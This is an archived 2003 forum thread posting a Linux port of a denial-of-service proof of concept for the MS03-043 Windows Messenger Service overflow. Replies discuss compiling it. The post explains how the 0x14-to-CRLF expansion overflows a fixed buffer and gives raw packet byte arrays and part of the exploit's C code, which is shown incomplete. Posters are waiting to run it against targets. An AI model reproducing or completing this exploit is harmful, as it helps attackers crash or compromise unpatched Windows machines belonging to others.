Re-written By VeNoMouS to be ported to linux, and tidy it up a little. This was only like a 5 minute port but it works and has been tested. venom@gen-x.co.nz
greets to str0ke and defy
DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard. Launching it one or two times against the target should make the machine reboot. Tested against a Win2K SP4.
"The vulnerability results because the Messenger Service does not properly validate the length of a message before passing it to the allocated buffer" according to MS bulletin. Digging into it a bit more, we find that when
a character 0x14 in encountered in the 'body' part of the message, it is replaced by a CR+LF. The buffer allocated for this operation is twice the size of the string, which is the way to go, but is then copied to a buffer which was only allocated 11CAh bytes. Thanks to that, we can bypass the length checks
// Packet format found thanks to a bit a sniffing static unsigned char packet_header[] = "\x04\x00\x28\x00" "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0" "\x4f\xb6\xe6\xfc" "\xff\xff\xff\xff" // @40 : unique id over 16 bytes ? "\xff\xff\xff\xff" "\xff\xff\xff\xff" "\xff\xff\xff\xff" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\xff\xff\xff\xff" "\xff\xff\xff\xff" // @74 : fields length "\x00\x00";
unsigned char field_header[] = "\xff\xff\xff\xff" // @0 : field length "\x00\x00\x00\x00" "\xff\xff\xff\xff"; // @8 : field length
int usage(char *name) { printf("Proof of Concept for Windows Messenger Service Overflow..\n"); printf("- Originally By Hanabishi Recca - recca@mail.ru\n\n"); printf("- Ported to linux by VeNoMouS..\n"); printf("- venom@gen-x.co.nz\n\n\n");
no point of posting linux code intill really we get the windows one compiled..anyone done that yet..like been few days lol
archphase
Oct 20 2003, 11:59 PM
QUOTE (Neo-Tokyo @ Oct 20 2003, 10:28 PM)
s00t! /me waits patiently for compiled version.
me waits for you to learn how to use gcc w/ the -o switch.
ssj4conejo
Oct 21 2003, 02:50 AM
u cant really compile for others linux, each machine specially with optmization flags will not work on every comp. for example if i compile the exploit on a pentium 4 with all the pentium 4 optimization flags it will definetely not work on lets say my friends pentium 1. if you are using linux and dont know how to compile u realyl should learn, because alot of free software comes in source. if you need help compiling feel free to ask, i and others can help.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.